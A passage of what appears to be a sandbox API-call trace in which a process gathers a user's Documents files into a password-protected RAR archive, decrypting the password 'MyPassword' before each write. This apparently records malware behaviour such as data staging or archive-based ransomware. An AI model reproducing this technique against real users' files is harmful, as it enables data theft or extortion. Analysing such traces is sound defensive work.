pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0067.965] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0067.965] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x247)) [0067.965] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0067.965] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14330707197) returned 1 [0067.967] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x56c3, lpOverlapped=0x0) returned 1 [0067.967] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a5703, nNumberOfBytesToRead=0xfa93d, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a5703*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0067.967] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6e0 [0067.967] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a710 [0067.967] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a710, Size=0x48) returned 0x39db40 [0067.967] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.967] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a710 [0067.967] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a710, Size=0x48) returned 0x39daf0 [0067.967] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.967] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.968] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a710 [0067.968] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63920 [0067.968] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63920 | out: hHeap=0x2e0000) returned 1 [0067.968] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a710 | out: hHeap=0x2e0000) returned 1 [0067.968] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a6e0, Size=0x48) returned 0x39db40 [0067.968] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0067.968] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.968] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.968] GetTickCount () returned 0xa67496 [0067.968] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14330852620) returned 1 [0067.968] GetTickCount () returned 0xa67496 [0067.968] GetTickCount () returned 0xa67496 [0067.968] GetTickCount () returned 0xa67496 [0067.968] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 1 [0067.968] GetMessageW (in: lpMsg=0x1cd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd790) returned 1 [0067.968] GetFocus () returned 0x0 [0067.968] TranslateMessage (lpMsg=0x1cd790) returned 0 [0067.968] DispatchMessageW (lpMsg=0x1cd790) returned 0x0 [0067.968] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 1 [0067.968] GetMessageW (in: lpMsg=0x1cd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd790) returned 1 [0067.968] GetFocus () returned 0x0 [0067.968] TranslateMessage (lpMsg=0x1cd790) returned 0 [0067.968] DispatchMessageW (lpMsg=0x1cd790) returned 0x0 [0067.968] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.969] ResetEvent (hEvent=0x1a4) returned 1 [0067.969] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.970] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.970] ResetEvent (hEvent=0x1a4) returned 1 [0067.970] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.971] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.971] GetTickCount () returned 0xa67496 [0067.971] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14331111320) returned 1 [0067.971] GetTickCount () returned 0xa67496 [0067.971] GetTickCount () returned 0xa67496 [0067.971] GetTickCount () returned 0xa67496 [0067.971] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.971] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.971] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.971] ResetEvent (hEvent=0x190) returned 1 [0067.971] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.971] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0067.971] ResetEvent (hEvent=0x190) returned 1 [0067.971] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.972] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0067.972] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.972] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.972] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x839fd [0067.972] SetFilePointer (in: hFile=0x198, lDistanceToMove=95, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x83a5c [0067.972] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0067.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.972] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0067.972] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0067.972] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0067.972] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x5720, lpOverlapped=0x0) returned 1 [0067.972] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.972] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.972] SetFilePointer (in: hFile=0x198, lDistanceToMove=539133, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x839fd [0067.972] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x839fd [0067.972] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6e0 [0067.972] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a710 [0067.972] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a710, Size=0x48) returned 0x39daf0 [0067.972] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.973] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a710 [0067.973] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a710, Size=0x48) returned 0x39db40 [0067.973] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.973] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.973] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a710 [0067.973] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63920 [0067.973] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63920 | out: hHeap=0x2e0000) returned 1 [0067.973] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a710 | out: hHeap=0x2e0000) returned 1 [0067.973] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a6e0, Size=0x48) returned 0x39daf0 [0067.973] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0067.973] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x5f, lpOverlapped=0x0) returned 1 [0067.973] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6e0 [0067.973] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x5f) returned 0x3a1100 [0067.973] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.973] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.973] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x8917c [0067.973] CloseHandle (hObject=0x1b0) returned 1 [0067.973] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.973] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.973] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.973] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.973] FindFirstFileW (in: lpFileName="buu1yiRA_xVu8tVc\\hLAWY-nuLL.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0067.973] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0067.973] CreateFileW (lpFileName="buu1yiRA_xVu8tVc\\hLAWY-nuLL.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\buu1yira_xvu8tvc\\hlawy-null.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0067.973] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.973] GetTickCount () returned 0xa67496 [0067.973] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0067.973] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0067.973] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.973] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0067.973] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="aZCuN2.pptx") returned 11 [0067.973] SetWindowTextW (hWnd=0x10280, lpString="hLAWY-nuLL.pptx") returned 1 [0067.974] GetTickCount () returned 0xa67496 [0067.974] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.974] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0067.974] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0067.974] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0067.974] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x257)) [0067.974] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0067.974] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14331451727) returned 1 [0067.974] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x12408, lpOverlapped=0x0) returned 1 [0067.975] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b2448, nNumberOfBytesToRead=0xedbf8, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b2448*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0067.975] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.975] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.975] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a710 [0067.975] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63920 [0067.975] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63920, Size=0x48) returned 0x39db40 [0067.975] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.975] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63920 [0067.975] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63920, Size=0x48) returned 0x39daf0 [0067.975] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.975] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.975] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63920 [0067.975] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63950 [0067.975] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63950 | out: hHeap=0x2e0000) returned 1 [0067.975] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63920 | out: hHeap=0x2e0000) returned 1 [0067.975] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a710, Size=0x48) returned 0x39db40 [0067.975] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0067.975] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.975] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.976] GetTickCount () returned 0xa67496 [0067.976] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14331610043) returned 1 [0067.976] GetTickCount () returned 0xa67496 [0067.976] GetTickCount () returned 0xa67496 [0067.976] GetTickCount () returned 0xa67496 [0067.976] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.976] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.976] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.976] ResetEvent (hEvent=0x1a4) returned 1 [0067.976] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.977] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.977] ResetEvent (hEvent=0x1a4) returned 1 [0067.977] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.980] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.980] ResetEvent (hEvent=0x1a4) returned 1 [0067.980] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.982] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.982] GetTickCount () returned 0xa67496 [0067.982] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14332238584) returned 1 [0067.982] GetTickCount () returned 0xa67496 [0067.982] GetTickCount () returned 0xa67496 [0067.982] GetTickCount () returned 0xa67496 [0067.982] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.982] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.982] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.982] ResetEvent (hEvent=0x190) returned 1 [0067.982] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.983] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0067.983] ResetEvent (hEvent=0x190) returned 1 [0067.983] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.983] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0067.984] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.985] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.985] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x8917c [0067.985] SetFilePointer (in: hFile=0x198, lDistanceToMove=116, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x891f0 [0067.985] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0067.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.985] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0067.985] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0067.985] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0067.985] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x124b0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x124b0, lpOverlapped=0x0) returned 1 [0067.986] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.986] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.986] SetFilePointer (in: hFile=0x198, lDistanceToMove=561532, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x8917c [0067.986] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x8917c [0067.986] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a710 [0067.986] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63920 [0067.986] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63920, Size=0x48) returned 0x39daf0 [0067.986] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.986] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63920 [0067.986] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63920, Size=0x48) returned 0x39db40 [0067.986] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.986] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.986] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63920 [0067.986] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63950 [0067.986] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63950 | out: hHeap=0x2e0000) returned 1 [0067.986] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63920 | out: hHeap=0x2e0000) returned 1 [0067.986] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a710, Size=0x48) returned 0x39daf0 [0067.986] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0067.986] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x74, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x74, lpOverlapped=0x0) returned 1 [0067.986] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a710 [0067.986] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x74) returned 0x3b4b710 [0067.986] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.986] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.987] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x9b6a0 [0067.987] CloseHandle (hObject=0x1b0) returned 1 [0067.987] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.987] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.987] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.987] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.987] FindFirstFileW (in: lpFileName="C8sP.docx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0067.987] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0067.987] CreateFileW (lpFileName="C8sP.docx" (normalized: "c:\\users\\whuoxysd\\documents\\c8sp.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0067.987] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.987] GetTickCount () returned 0xa674a5 [0067.987] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0067.987] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0067.987] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.987] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0067.987] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="hLAWY-nuLL.pptx") returned 15 [0067.987] SetWindowTextW (hWnd=0x10280, lpString="C8sP.docx") returned 1 [0067.987] GetTickCount () returned 0xa674a5 [0067.987] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.987] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0067.988] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0067.988] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0067.988] 